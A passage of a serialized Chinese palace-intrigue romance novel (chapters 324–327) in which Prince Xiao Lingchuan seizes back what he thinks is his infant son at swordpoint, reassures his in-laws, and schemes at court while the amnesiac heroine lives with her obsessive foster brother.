她心中只有一个念头,快点回景王府,告诉景王孩子在丞相府,好救出崔芝兰。 她一路狂奔,根本没注意到,一道黑影从丞相府对面的街角一闪而过,悄无声息地跟在她身后。 景王府,书房。 暗卫单膝跪地,将小翠从宁王府到丞相府的一言一行,一字不差地复述了一遍。 萧凌川站在窗前,负手而立,周身的气压低得骇人。 他听完暗卫的回报,不怒反笑,那笑意淬着冰,没有半分温度。 “好一个萧怀瑾。”他从齿缝里挤出这几个字,声音冷得能掉下冰渣,“藏了本王的儿子,还敢利用本王的岳父岳母来欺诈本王!真当本王是他能随意戏弄的傻子么!” 他猛地转身,那双潋滟的桃花眼里翻涌着骇人的风暴:“来人!” 几名亲卫瞬间出现在门口。 “随本王去宁王府!”萧凌川的语气森然,“本王倒要看看,他萧怀瑾,准备如何霸占本王的儿子!” 夜色如墨,宁王府一片静谧。 几道黑影如鬼魅般越过高墙,悄无声息地落在院中。 巡逻的侍卫还没来得及发出警报,就被瞬间扼住了咽喉,只发出一声闷哼便软倒在地。 萧凌川手持长剑,剑不出鞘,只用剑柄和剑鞘,一路朝着萧怀瑾的院落闯去。 宁王府的侍卫闻讯而来,却根本不是他和身边那几个身经百战的亲卫的对手,不过片刻功夫,庭院里便横七竖八地躺了一地呻吟的人。 萧怀瑾听到动静,披衣而出,看到的就是这般景象。 满地都是他府中受伤的侍卫,而萧凌川,正提着剑,一步步朝他走来,宛如从地狱里爬出的修罗。 “四哥,你这是做什么?”萧怀瑾脸色阴沉,眸光冷冽如刀。 “萧怀瑾,你少跟本王装模作样!”萧凌川嗤笑一声,桃花眼里尽是暴戾之气,“你心里清楚本王为何而来!还不快把本王的世子,还给本王!” 萧怀瑾面上不见丝毫慌乱,冷声反问:“若我不呢?” 萧凌川上前一步,高大的身影带着极强的压迫感:“那本王就只能一间一间屋子地找了。不过,这找人的过程要是不小心伤了你宁王府的什么人,烧了什么东西,本王可不负责!” 这赤裸裸的威胁让萧怀瑾的脸色彻底冷了下来:“萧凌川,你别欺人太甚!” “欺人太甚的是你!”萧凌川猛地抬高了音量,字字如针,“你凭什么藏着本王的儿子?怎么,堂堂宁王殿下不娶妻生子,反倒对别人的孩子起了觊觎之心?这事要是让荣太妃知道了,不知她会作何感想!?” 这话恶毒至极,几乎是把萧怀瑾的脸皮扯下来踩在脚下。 萧怀瑾怒极反笑,他直视着萧凌川,眼神里带着一丝悲悯的嘲讽:“姜姑娘就算生下了你的孩子,也从未想过将孩子留在你身边。四哥,你难道就不该好好反省一下这当中的缘由吗?” “你闭嘴!”萧凌川像是被踩中了痛脚的野兽,瞬间暴怒。 姜姝宁今生对他避之不及,这抗拒的态度一直是他心底的一根刺,此刻被萧怀瑾血淋淋地拔了出来。 他声音嘶哑,带着一丝不易察觉的狼狈:“这是本王和她之间的事,轮不到你一个外人来置喙!你现在,立刻,把本王的儿子还给本王!” “恕难从命。”萧怀瑾冷冷吐出四个字,态度坚决,“既然姜姑娘信我,托我照顾她的孩子,我便不能食言!四哥请回吧,孩子我是不会还给你的!” “敬酒不吃吃罚酒!” 萧凌川的耐心终于告罄。 他手腕一翻,“呛啷”一声,长剑出鞘,冰冷的剑锋在月光下划过一道弧线,稳稳地架在了萧怀瑾的脖颈上! 空气瞬间凝固。 宁王府所有的下人都被这一幕吓得魂飞魄散,连呼吸都忘了。 恰在此时,阿齐抱着一个婴孩匆匆从后院赶了回来。 他刚一拐进月亮门,就看到自家王爷被剑指着喉咙,顿时吓得三魂去了七魄,脸色煞白如纸。 他下意识地看了萧怀瑾一眼,见主子虽身处险境,神色却还算镇定,心中稍安。 他不敢耽搁,连忙抱着孩子冲上去,“噗通”一声就跪在了萧凌川面前。 “景王殿下息怒!刀剑无眼,千万别冲动!”阿齐的声音抖得不成样子,“小人……小人把小世子给您送来!” 说着,他高高举起了怀里的婴孩。 萧凌川的剑依旧没有移开,只是用眼角的余光瞥了一眼那个孩子。 那男婴似乎是被这剑拔弩张的气氛吓到了,又或许是饿了,正张着嘴,“哇”的一声大哭起来,小脸涨得通红。 萧凌川眯起那双(洞)悉人心的桃花眼,目光在那孩子皱巴巴的小脸上流连了片刻,才缓缓开口,声音里带着浓重的疑虑:“这,便是本王和王妃的儿子?” 阿齐的心瞬间提到了嗓子眼,生怕他看出什么端倪。 他强作镇定,连忙道:“自然是!这府里……这府里就这么一个孩子,不是小世子殿下,还会是谁?” 萧凌川的目光从孩子脸上移开,锐利如鹰隼,死死地钉在阿齐身上:“你为何肯将孩子交给本王?你不是对萧怀瑾最忠心耿耿的吗?” 阿齐的冷汗瞬间就下来了。 他知道,萧凌川在试探他。 他伏在地上,头都不敢抬,声音带着哭腔,既像是在辩解,又像是在诉苦: “王爷……您都把剑架在宁王殿下的脖子上了,小人……小人哪敢不从啊?再说了……殿下为了照顾小世子,日日耗在府里,连荣太妃为他安排的相看都推了,根本无心娶妻。 太妃娘娘为这事,愁得头发都白了。小人……小人斗胆,也希望殿下能……能早日放下对王妃的念想,尽快成家,生一个真正属于自己的孩子啊!” 听到这番解释,萧凌川眼中的暴戾之气才渐渐缓和了些。 他收回长剑,还剑入鞘,接着弯腰,从阿齐抖个不停的手中,接过了那个仍在啼哭的婴孩。 动作生疏,甚至有些僵硬。 这是他第一次抱孩子,相当不得要领。 他抱着孩子,最后冷冷地瞥了一眼面色铁青的萧怀瑾,什么话也没说,转身带着他的人,大摇大摆地离去。 看着那群人嚣张离去的背影,萧怀瑾抬手,摸了摸自己冰冷的脖颈,那里似乎还残留着剑锋的寒意。 他的眼底掠过一丝彻骨的冷。 萧凌川,你再强势,再霸道,又有何用? 到头来,还不是被一个假孩子耍得团团转。 你这辈子,都休想再用孩子来逼迫姜姑娘,让她回到你身边! 第324章 这孩子于他而言,终究是陌生的 第三百二十四章 这孩子于他而言,终究是陌生的 相府里,熏笼的暖香袅袅,却压不住姜夫人心头的火气。 她怀里抱着个奶娃娃,那孩子睡得正香,小嘴一咂一咂的,可姜夫人的神色却阴沉得仿佛能滴出水来。 “这景王也不是什么好人,宁儿都怀上身孕,生下孩子了,竟也没通知我们二老。他这是把宁儿当什么了?豢养在家里的猫猫狗狗吗?” 姜夫人咬着牙,语气里满是藏不住的怒意,抱孩子的动作却还是轻柔得很,生怕惊醒了怀里的小人儿。 姜丞相正坐在旁边喝茶,闻言,手里的茶盏顿了顿。 他放下茶杯,叹了口气道:“夫人,别说这种话,景王不是这样的人。我看他对待宁儿,是有几分真心的。” 姜夫人哼了一声,眼皮都没抬一下。 “真心?他要是真心,宁儿如今还是戴罪之身,他应该想法子免去她身上的罪名!而不是让她这样不得不依附他活着。整个景王府的人叫她一声‘王妃’有何用?大邺皇室宗谱里,有她的名字吗?老爷,他哪里爱护我们女儿?他分明就是不重视她,也不尊重我们二老!” 她越说越气,胸口剧烈起伏。 姜丞相见她动了真怒,连忙安抚道:“夫人息怒,息怒。你说的这些,我都明白。此事我定会亲自问景王,让他给我们二老和宁儿一个交待!他要是不给,这孩子……我们就先替宁儿养着!” 两老自昨日突然被送来一个声称是姜姝宁骨肉的孩子后,所有心思都在这小小的人儿身上,竟忘了今日是姜瑶真二嫁的回门日。 此刻,姜瑶真心里窝着一团火,正从魏国公府回来。 大长公主瞧不起她是二嫁之女,对着她哪哪儿都看不顺眼,鸡蛋里头挑骨头,让她受尽了冷言冷语。 本以为回到自家府里,至少能得父母几句嘘寒问暖,谁知一进门,却是冷冷清清,连个迎接的人影都瞧不见。 她的脸色瞬间就沉了下来,心中的怨气更甚。 她不顾下人的阻拦,径直去了姜丞相和姜夫人的院子。 刚一踏入院门,她劈头盖脸就质问道:“父亲母亲为何不在门口迎接我?难道你们就这般不待见我这个女儿吗?” 忽然,她的声音戛然而止,目光死死地钉在姜夫人怀里抱着的那个婴孩身上。 姜夫人看到她,脸上也闪过一丝惊讶:“瑶真?你今日回门?” 姜瑶真的注意力却全在孩子身上,眼神狐疑,语气透着一股莫名的尖锐:“这个孩子打哪来的?” 姜丞相和姜夫人的脸色顿时变得有些不自然。 姜丞相轻咳一声,随口答道:“这是……你姨母的孙子,你姨母这几日家里有事,托我们帮忙照顾几日。” “是,是你姨母的孙子!”姜夫人也跟着附和,说完,抱着婴孩匆匆起身,头也不回地往内室去了,像是怕姜瑶真多看那孩子一眼。 姜瑶真站在原地,看着他们古怪的举动,心里头冷笑一声。 姨母家人口众多,就算真有婴孩要照顾,怎么会舍近求远,专程来找姜丞相和姜夫人? 她皱起眉,一个念头忽地在她脑海里炸开。 这孩子……该不会是姜姝宁的吧? 除了姜姝宁,谁还会让父母亲这般藏着掖着? 真有意思。 姜姝宁生的孩子,竟然不自己带,反而让姜丞相和姜夫人帮她带着。 姜瑶真的嘴角勾起一抹玩味的弧度,眼底深处闪过一丝幸灾乐祸。 想来是萧凌川大厦将倾、死期将至,姜姝宁才急着为自己的孩子安排退路。 这个恶毒的猜测,让姜瑶真心头的郁气一扫而空,取而代之的是一种近(乎)扭曲的兴奋。 她一刻也等不及了,必须立刻将这个“好消息”,去告诉那个和她一样,日夜盼着萧凌川不得好死的人! —— 萧凌川一回到景王府,便将怀里那团软绵绵的东西交给了府里的乳母。 这小东西从宁王府出来,就没消停过,哭声尖利,像是受了什么天大的委屈。 萧凌川抱着他,只觉得怀里揣了个烫手的炭炉,僵硬的手臂无处安放。 他不知道这孩子是饿了,还是单纯地厌恶他周身冷硬的气息。 他没有那个耐心,更没有多余的精力去安抚一个只会啼哭的婴孩。 “看好他。”他只冷冷丢下三个字,便头也不回地走了。 可一想到这是他和姜姝宁的唯一骨肉,萧凌川那颗被怒火与暴戾填满的心,终究还是软了一角。 第二日天刚蒙蒙亮,他便抬步去了偏院。 小婴孩刚吃饱喝足,正躺在襁褓里,被乳母用拨浪鼓逗得“咯咯”直笑。 可当萧凌川的身影出现在门口时,那笑声戛然而止。 像是被他身上的煞气吓到,小小的脸蛋瞬间皱成一团,嘴巴一扁,下一瞬就要放声大哭。 乳母怕他不高兴,连忙道:“王爷,小世子……可能是昨夜受了惊,才会……” “无妨。”萧凌川的声音听不出什么情绪,目光落在孩子脸上,神色浅淡,“他像大概像他的母亲,怕本王。” 乳母不敢接他的话,低头继续轻声哄着怀里已经开始抽噎的婴孩。 这孩子于他而言,终究是陌生的。 所谓的血脉天性,并未在他心底激起半分涟漪。 萧凌川终究漠然收回目光,转身离去。 刚在书房坐下,管家就通传,说姜丞相和姜夫人来了。 当他看到姜丞相夫妇竟也抱着一个婴孩出现在他面前时,太阳穴突突地跳了起来。 两人的脸色都极为难看。 “王爷。”姜夫人先开了口,她一边轻拍着怀里睡得正香的婴孩,一边质问道,“这真是你和宁儿的孩子?宁儿何时怀的孕?为何我和老爷对此事一无所知?” 萧凌川一噎。 昨夜他心里想的都是如何从萧怀瑾手里夺回自己的儿子,竟将这对被蒙在鼓里的岳父岳母忘得一干二净。 他稳了稳心神,目光从姜夫人怀里的孩子身上扫过,沉声道:“岳母,这不是本王和姝宁的孩子。这是宁王为了混淆视听,吩咐崔侧妃的婢女从人牙子手里买来的,特地送去相府,用来扰乱你们二老心神。” “也就是说,”姜夫人眉头紧蹙,“你和宁儿,确实有一个孩子。王爷,这件事,你为何从未对我们二老吐露半个字?你曾唤我们一声‘岳父岳母’,我们也将你当女婿看待。可你如此行事,可曾敬重过我们?” 萧凌川被问得哑口无言。 当初,他故意隐瞒姜姝宁怀孕之事,为的便是防止他们二老成为她逃走的助力。 后来他远赴西征,怕长鞭莫及,更是索性封锁了她在府中的所有消息。 这些阴暗的、占有欲作祟的心思,自然不能直说。 他垂下眼帘,再抬起时,脸上已带了几分恰到好处的疲惫与愧疚。 “岳父岳母息怒,此事……的确是本王疏忽。姝宁是戴罪之身,怀有身孕一事,越少人知道,对她和腹中的孩子才越安全。本王是怕被有心之人利用,借此大做文章,反而害了她。所以才将此事瞒下。” 他顿了顿,话锋一转, “本想着等朝中局势稳定一些,再将此事告知二老。没想到,陛下会突然下旨,命本王西征。这一仗,本王本不想去,但若能立下战功,便能以此为筹码,向陛下请旨,免去姝宁的戴罪之身。为了她,本王才不得不匆忙启程。” 姜丞相听完,脸色缓和了许多。 他本就是个顾全大局的人,立刻拉了拉自己夫人的衣袖:“夫人,王爷也是有苦衷的,他做的这一切,都是为了宁儿。我们就不要再为难他了!” 姜夫人心中的气也消了大半。 “方才是我言辞过激了。”她的语气软了下来,“既然王爷是为了宁儿,那我这个做母亲的也没什么好说的。只是……不知王爷是能否让我和宁儿见上一面?她如今刚生了孩子,身边正需要人照顾。我这个当娘的,也该去教教她,怎么做一个母亲。” 萧凌川俊美的脸上,瞬间掠过一丝难以察觉的僵硬。 他犹豫片刻,最终决定说出真相。 “不瞒岳父岳母,”他的声音很轻,却字字如千斤重石,“姝宁她……不在景王府。她趁着本王西征期间,在崔侧妃的帮助下,诈死……离开了。” “什么?”姜丞相和姜夫人大惊,“竟有这事?!” 第325章 他执念太深,一意孤行 第三百二十五章 他执念太深,一意孤行 震惊过后,是排山倒海般的羞愧与无地自容。 他们夫妻俩气势汹汹地跑来景王府兴师问罪,以为是萧凌川薄待了女儿,却不曾想,竟是自家女儿做出了这等离经叛道、荒唐至极的事! “宁儿真是胡闹,孩子都有了,怎能……”姜夫人猛地想起了关键,急切地问,“王爷,你说这孩子是从人牙那买来的……那,那我们宁儿真正的孩子呢?你找回来了吗?” “找回来了。”萧凌川的声音依旧平静无波,他侧过头,对候在一旁的管家吩咐道,“去,把小世子抱来。” 管家应声而去。 很快,乳母抱着一个襁褓匆匆而来。 那个裹在锦缎襁褓中的婴孩睡得正熟,小脸蛋白里透红,像一块上好的暖玉。 姜夫人只看了一眼,心就彻底软了。 这孩子,比起昨日小翠送来的那个,不知要粉雕玉琢多少倍。 她小心翼翼地从乳母手中接过孩子,越看越觉得这孩子像自己的女儿 “原来,这才是我的乖外孙……”她喃喃自语,指尖轻轻碰了碰孩子柔嫩的脸颊,爱不释手。 她沉浸在初为外祖母的喜悦中,先前那点尴尬和怒气早已烟消云散。 她抬起头,随口问道:“王爷,这孩子……你是从哪儿找到他的?” 萧凌川的目光落在孩子安静的睡颜上,眸色深沉,他淡淡吐出五个字。 “在宁王府。” 空气仿佛在这一刻冻结。 姜夫人脸上的笑容僵住了,抱着孩子的手臂也微微收紧。 姜丞相更是猛地倒抽一口凉气,脸色瞬间涨成了猪肝色。 宁王府! 自己的女儿,生下了景王的孩子,竟将孩子藏到了宁王萧怀瑾的府邸里! “胡闹!简直胡闹!”姜夫人又羞又气,脸涨得通红,“我们姜家怎么会教出这般不知分寸、不明事理的女儿!” 萧凌川垂眸不语,眼底一抹阴翳转瞬即逝。 姜姝宁将孩子藏于宁王府,此举本身便是对他最深的羞辱。 大厅内死一般的寂静。 姜丞相轻咳了一声,转移了话题。 “王爷,这孩子……可有取名字?” “有。”萧凌川抬眼,目光掠过孩子的小脸,声音里听不出情绪,“叫邺君,萧邺君。” 邺君…… 姜丞相的心咯噔一下。 身为百官之首,他怎会听不出这个名字里潜藏的、那几乎不加掩饰的滔天野心。 邺者,都城也。 君者,君临天下。 但他脸上却丝毫未显,只装作赞许地点点头:“邺君……嗯,是个好名字,气派。” 他顿了顿,语气变得恳切起来,“王爷,这孩子……就先养在景王府吧。宁儿此次行事,确实荒唐,失了分寸。但……她终究是孩子的亲娘,她绝不是会抛弃自己亲生骨肉的人。 想来,她用不了多久,定会回京城来找孩子的。届时,还请王爷务必通知我们一声,我和她母亲,定会好好劝一劝她,让她往后与王爷安生过日子!” “有劳岳父岳母。”萧凌川的脸上,终于浮现出一丝若有若无的悦色。 他要的就是这个结果。 只要姜家肯站在他这边,他就不怕姜姝宁能逃出他的手掌心。 送走了心神不宁的姜丞相夫妇,萧凌川独自一人站在空旷的前厅。 他走到乳母身边,伸手,小心翼翼地从她怀里接过了那个婴孩。 小家伙在他怀里动了动,砸吧了一下小嘴,似乎睡得并不安稳。 萧凌川低头看着他,心口像是被什么东西堵住,一阵阵地发酸、发胀。 他把孩子夺了回来,也把姜姝宁的父母拉到了自己这一边。 可他却一点也高兴不起来。 前世献祭自己的寿命换她再次进入轮回时,观月长老就曾告诫过他,就算重生,面临的变数太多,他也未必能得偿所愿。 可他执念太深,一意孤行。 而今,警示成谶。 他机关算尽,步步为营,却依旧暖不回一颗被他亲手伤透的心。 他后悔前世伤她至深,却独独不悔以命换命,让她能在这世间再次鲜活地存在——哪怕是带着对他的恨和畏惧。 他安慰自己,她一定会回来的。 为了这个孩子,她就算再恨他,再不想回到这座牢笼,也终究会因为那份割舍不下的母子天性,回到京城,回到他身边里。 姝宁,本王已为你织好一张天罗地网。 以骨血为引,以亲情为锁,你又能逃到哪里去? 他俊美无俦的面容上,骤然闪过一抹阴鸷的偏执。 今生,你我二人注定要纠缠到死。 —— 南朔城的“女堂”内,人来人往,那是一片独属于女子的热闹与生机。 姜姝宁却游离在这片喧嚣之外,目光没有焦距。 近来,总有一个念头如影随形,反复叩问着她空白的记忆。 她笃信自己是爱孩子的,那是一种无需记忆佐证、源自骨血的本能。 倘若她真有过一个孩子,在不得不与之分离的绝境之下,她会把他藏在何处? 就在这时,正好有个年轻女子愁眉苦脸地上来诊脉。 女医为她把了脉,叹气道:“我说你啊,趁早和你那个爱动手的男人和离了!再这么下去,你身上的旧伤添新伤,老婆子我这药石都救不了你的命!” 年轻女子眼圈一红,眼泪像断了线的珠子滚落下来:“他……他答应和离,可他不让我带走孩子。大夫,没了孩子,我活着还有什么劲儿啊?” “你人都快被打死了,还惦记孩子?”女医没好气地白了她一眼,声音却放低了些,“傻丫头,你得先顾着自个儿的命!那孩子是他的骨肉,他能下多重的手?就算他舍得,他那护犊子的老娘也舍不得。可你呢?你算什么?一个外姓的媳妇,他就是把你打死在家里,他娘怕是眼皮都不会抬一下!” 女子哭得更凶了,肩膀一抽一抽的,满是无助和绝望。 姜姝宁看着这一幕,心口一紧。 没错,若她真有一个孩子,必然是将他留在孩子的父亲身边! 要是真如姜天泽所说,她不会让自己怀上萧凌川的孩子,那她孩子的亲生父亲又会是谁? 姜姝宁心头一紧,匆匆起身,返回姜天泽置办的宅邸。 姜天泽正在屋内清扫,袖口高挽,昔日太子的矜贵气度荡然无存,此刻的他,俨然一个为心爱之人操持家事的普通男子。 “阿宁,你瞧这房中的陈设,可合你心意?” 姜姝宁抬眼一扫,入目皆是她偏爱的摆设,心中不由一暖。 “甚是喜欢。天泽,你怎会知晓我的喜好?” 姜天泽闻言,唇角勾起一抹浅笑。 这些陈设,皆是依照她昔日相府闺阁中的布置而设,她岂能不喜欢? 但他说出口的却是:“我心悦于你,自是留意你的一举一动,知你所好。” 姜姝宁避开他眼中那过于炽热的光芒,转移话题:“天泽,你可知我失忆前,是否曾有过心仪之人?” 此言一出,姜天泽神色骤变,笑意僵在唇边。 “你问这个做什么?” 第326章 他绝不允许任何人抢走她 第三百二十六章 他绝不允许任何人抢走她 “没什么……就是随口问问。” 不知道是不是姜姝宁的错觉,她总觉得姜天泽的脸色变得极其难看。 方才还挂在唇边的温和笑意,像是被寒风吹散的薄雾,瞬间无影无踪,只剩下阴沉沉的底色。 他周身那股少年人的清朗气,也倏地被一种她看不懂的、浓稠的阴郁所取代。 “阿宁。”姜天泽将手搭在她肩上,那力道不重,却带着不容抗拒的意味。 他的神色认真得有些吓人,“你现在失忆了,忘记了很多事情……但我可以向你保证,你从未爱慕过任何男子。若非说与谁有情意,那人肯定是我。” 这番话实在太过直白,像一团烧得正旺的火,猝不及防地燎到姜姝宁面前。 她有些不自在,皮肤都泛起一阵细微的战栗,下意识地侧身,想挣开他的手:“我知道了……” “不,你不知道!”姜天泽猛地加重手中的力道,五指几乎要嵌进她的肩骨里。 他俯下身,目不转睛地盯着她,那双狭长的丹凤眼里翻涌着激烈的情绪,像是暴风雨来临前的海面。 “阿宁,你可知为了和你在一起,我做了多少努力?放弃了多少?如今你失忆了,我从前的努力可谓付诸东流……阿宁,你能不能看在我如此用心的份上,尝试接受我的感情?” 他说着,眼眸竟真的迅速漫上水汽,声音也带上了几分哽咽的颤抖,仿佛下一秒那滚烫的泪珠就要砸下来。 许是他容貌太过出挑,以至于当那双漂亮的眼眸里满是委屈与受伤时,那份破碎感便被放大了无数倍,轻易便能攫住人心,只余下满腔怜惜。 姜姝宁竟神差鬼使地伸出手,轻轻地摸了摸他的头:“知道了,你别难过,怪可怜的。” 这动作太过自然,仿佛做过千百遍。 做完之后,她自己先愣住了。 姜天泽也僵住了,那张漂亮得不像话的脸上,竟从耳根处浮起一层可疑的绯色,迅速蔓延开来。 “阿宁,别总摸我的头,我不是小孩子!” 姜姝宁连忙收回手:“对不起,我只是想安慰你……” 她话还没说完,就被姜天泽一把抱进怀里。 他抱得那样紧,像是要将她整个人揉进自己的骨血里。 “阿宁,”他在她耳边低语,声音闷闷的,“你以后……可以用换种方式安慰我,比如……像这样抱抱我。” 他贪婪地,近(乎)病态地呼吸着她身上特有的、混杂着药草与阳光的馨香。 这味道能让他狂躁不安的心暂时平息。 他太想和她亲近了。 一想到她曾在萧凌川那个混蛋身边待了那么久,一想到他们之间可能发生过无数他不知道的事,他就嫉妒得快要抓狂。 好不容易能独占她,他才不想她一直把她当孩子,当弟弟。 姜姝宁对这一切的暗流涌动无知无觉,她有些无奈地轻拍他的背,像哄一个闹脾气的孩子,柔声道:“好了好了,天泽,我知道了。” 她在他怀里挣了挣,姜天泽这才不情不愿地松开手臂,但眼神依旧胶着在她身上。 为了打破这过于黏腻的气氛,姜姝宁立刻转移了话题:“我帮你一起打扫吧!” 说完,也不等他回答,便转身走向那堆还未归置的杂物,开始动手整理起来。 姜天泽就站在原地,一动不动地看着她的背影,心底那刚刚被安抚下去的不安,如同潮水般再次汹涌而上。 他们已经时隔一年多没有见面了。 一年多的时间,可以发生太多的事。 他不敢去深想,在萧凌川身边,她都经历了什么。 她曾那般厌恶萧凌川,失忆前却执意要回到他身边。 莫非……那人身边,真有她无法割舍的牵绊? 难道她真的生下萧凌川的骨肉? 一想到这个可能性,姜天泽五指便骤然收拢,任由指甲深深嵌入掌心。那刺破皮肉的痛楚也无法压下心头那股毁灭性的妒火。 不,他绝不允许! 绝不会让任何人,任何事,再将他的大姐姐从他身边抢走。 “阿宁,你是我的……” 少年几乎妖冶的脸上,那双漂亮的眼眸深处,缓缓浮起一层浓得化不开的偏执之色。 这世间,唯有她,是他不择手段也必须得到的珍宝。 —— 宁王府里,下人们正手脚麻利地将一只只楠木箱笼抬上马车。 萧怀瑾站在廊下,怀里抱着尚在襁褓中的小邺君。 孩子睡得正香,粉嫩的嘴唇微微嘟着,时不时砸吧一下,似乎在做什么美梦。 他的目光落在孩子小小的脸上,原本温润的目光在此刻更是化为了一滩春水。 一旁的阿齐终于还是忍不住开了口,声音压得极低:“殿下,这节骨眼上……南月和大邺的关系可不太平。您就这么带着小公子过去,万一……万一有点什么差池,那可是龙潭虎穴啊!” 萧怀瑾的视线依旧胶着在怀里的孩子身上,没有半分挪开的意思。 “姜姑娘肯定以为孩子还在萧凌川府上。”他声音很轻,却带着不容置喙的笃定,“要是她傻乎乎地跑回景王府,那才是真的麻烦。我必须在她找过去之前,先一步找到她,让她亲眼看到孩子。” 他的声音顿了顿,抱着孩子的手臂下意识收紧了些。 “只要她看到小邺君安然无恙,就再也不用委屈自己,回到萧凌川身边。” “可是……”阿齐的眉头拧成了一个疙瘩,“景王那个人,疑心病重得很。要是被他发现您离京了,他肯定会起疑的。万一他猜到您的意图,从中作梗,那岂不是更麻烦?” “无妨。”萧怀瑾终于抬眼,眸色变得清冷,像覆着一层寒霜,“我离京前,已经派人‘知会’了皇兄,告诉他四哥回京的消息。想来,他现在正忙着跟皇兄解释,自己那‘命悬一线’的伤是怎么一夜之间好全的。哪还有闲工夫管本王去了何处。” …… 皇宫,御书房。 檀香袅袅,气氛却冷得像冰窖。 萧政贤坐在龙椅上,双手交叠于膝前,目光沉沉地盯着下方站着的男人。 萧凌川一身玄色常服,身姿挺拔如松,神色淡然,瞧不出半点风尘仆仆,更别提什么重伤垂死的模样了。 “朕听说,四弟在西榆被西洲敌兵重伤,性命垂危。”萧政贤的声音不辨喜怒,每个字都咬得极慢,“可如今朕亲眼一见,似乎……跟传言里说的不太一样啊?” 面对这近(乎)质问的语气,萧凌川连眼皮都未曾抬一下,神色浅淡:“回陛下,被西洲人刺伤的是臣的亲卫凌风。许是当时臣与他离得太近,让底下的将士们看花了眼,这才有了误传。” 他话说得轻描淡写,随即微微抬眸,直视着龙椅上的皇帝,话锋一转,“说起来,凌风为护驾而伤,忠心可嘉。臣斗胆,还想请陛下给凌风封个将军的虚衔,也算是慰藉他替臣挡了这一刀。” 三言两语,不仅将自己的“欺君之罪”撇得一干二净,反倒还理直气壮地讨要起了封赏。 萧政贤轻咳一声:“那是自然,忠勇之士,理当封赏。不过……四弟你回京,为何不事先通禀一声?若不是老五特意进宫告知朕,朕竟还被蒙在鼓里,不知道你已经回来了。” 萧凌川心中冷哼一声。 果然是萧怀瑾这小人,将自己的行踪暴露给了皇帝。 面上却依旧是那副波澜不惊的样子,仿佛没听出皇帝话语里的不满。 “臣是收到了陛下的亲笔信,见信中提及瑞王嚣张,竟将陛下逼迫到如此境地,臣心急如焚,不敢有片刻怠慢,这才星夜兼程赶回京中。原本是打算安顿好便立刻进宫面圣的,没曾想,陛下竟先一步召见臣了。” 这番话说得滴水不漏,将擅自回京的过错,巧妙地变成了对君王的担忧与忠心。 萧政贤心里憋着一股火,烧得他五脏六腑都难受,面上却偏偏发作不得。 他现在还指望着萧凌川这头猛虎,去咬死萧修湛那匹已经快要骑到他头上的恶狼呢! 只是,赶走了狼,这头虎……又该如何处置? 萧政贤看着底下那个神色恭敬、眼底却毫无敬意的弟弟,心中第一次升起一股寒意。 他开始真切地担心,自己往后的江山,会不会彻底受制于这头亲手放出笼的猛虎。 第327章 大邺的储君,她必须牢牢掌握在掌心! 第三百二十七章 大邺的储君,她必须牢牢掌握在掌心! 萧政贤轻咳一声:“四弟,那瑞王……如今手握诏书,气焰嚣张,你可有万全之策?” “陛下,瑞王行此大逆不道之举,已是自寻死路。处置他,不难。”萧凌川声音平稳得没有一丝波澜,却字字如冰,砸在沉寂的空气里,“陛下只需,再给他一次‘逼宫’的机会。届时,臣会亲率禁军,让他血溅金銮殿,以儆效尤。” “可……禅位诏书瑞王已经拿到,何必冒险再次逼宫?况且,你回京的消息瞒不了多久,他一旦有了防备,又岂会轻易授人以柄?” 萧怀瑾唇角勾起阴鸷的弧度:“那便……将他的禅位诏书毁了!” —— 瑞王府如今是一派纸醉金迷的景象。 萧修湛一朝复起,仿佛要将过去所有的压抑与不甘都宣泄出来。 他一拿到那份能定鼎乾坤的诏书,便迫不及待地买回一众姬妾,终日将自己浸泡在酒池肉林之中,用最奢靡的方式宣告自己的回归。 当姜瑶真踏入王府正厅时,扑面而来的便是混杂着浓烈酒气与劣质脂粉的浑浊空气。 靡靡之音缭绕不绝,一群衣着暴露的姬妾如藤蔓般缠绕在主位那个男人身上。 萧修湛锦袍半敞,面色潮红,眼神迷离,正将一杯酒灌入身侧女子的口中,引来一阵娇媚的哄笑。 他醉眼朦胧地抬起头,目光在门口定格了片刻,才辨认出来人。 随即,他脸上浮现出一抹扭曲的、混合着快意与怨毒的笑容。 “哟,这是谁来了?”他推开怀中的女人,摇摇晃晃地站起身,声音因为醉酒而含混不清,却透着入骨的嘲弄,“原来是本王的前王妃啊!” 他刻意加重了“前”字,引得那些姬妾们爆发出刺耳的、奉承的笑声。 “你们都瞧瞧,这就是当年以为本王死了,就迫不及不及待改嫁他人的女人!”萧修湛指着姜瑶真,仿佛在展示一件蒙羞的旧物,“现在怎么样?本王没死,她倒嫁了个还没承袭爵位的国公之子,试问她那没用的夫君能给她什么荣华富贵?” 羞辱如针,根根刺入姜瑶真心口。 她攥紧了藏在袖中的手,指甲深深嵌入掌心,尖锐的疼痛让她维持着表面的平静。 她脸上不见怒色,反而勾起一抹冰冷的讥笑:“瑞王殿下此言差矣。若非妾身忍辱负重,改嫁小公爷,殿下哪有机会和国公府联手?只怕您早就不明不地死了,又哪有机会在此处左拥右抱,享受这美人环绕的福气?说到底,是妾身的‘改嫁’,才救了王爷您一命!” 这番话精准地戳中了萧修湛最隐秘的痛处——他的复起,确实离不开国公府在朝中的周旋。 “荒谬!”他被瞬间激怒,仿佛被踩了尾巴的猫,理智轰然崩塌。 他抓起桌上的酒杯,狠狠砸在姜瑶真脚边,瓷片四溅。 “本王手握圣上亲笔诏书,未来整个大邺江山都可能是本王的,还需要你一个弃妇来救命?” 他像是为了证明自己所言非虚,猛地挺直腰杆,对着那群被吓得噤声的姬妾们高声宣布:“都给本王听好了!陛下诏书上写得清清楚楚,本王的长子,将是大邺未来的储君!你们谁能为本王诞下麟儿,谁就是未来的国(母),本王定让她享尽一世荣华!” “储君”二字如同一道惊雷,在喧闹的大厅里炸开。 所有声音瞬间消失,连那靡靡之音也仿佛被掐断了。 那群姬妾的眼中,瞬间燃起了贪婪与狂热的火焰,她们的笑声愈发娇媚,一声声“王爷”叫得愈发甜腻。 而姜瑶真,则像是被一道无形的闪电劈中,整个人僵在原地。 她脸上的嘲讽与冷笑瞬间凝固,只剩下满脸的难以置信。 储君?萧修湛的长子? “殿下此话当真?那道诏书在何处?能否给妾身看看?” 她的失态取悦了萧修湛。 他看着她那张震惊到扭曲的脸,心中涌起一股报复的快感,嗤笑一声,慢条斯理地从袖中取出一卷明黄色的丝帛,在她面前晃了晃。 姜瑶真几乎是扑上去一把夺过,颤抖着双手展开。 那龙纹卷轴,那刺目的“禅让”二字,以及末尾那鲜红的、代表着至高皇权的玉玺印章,无一不在证明着这份诏书的真实性。 “这……这怎么可能……陛下正值盛年,怎会下此禅让诏书?”她喃喃自语,感觉一阵天旋地转。 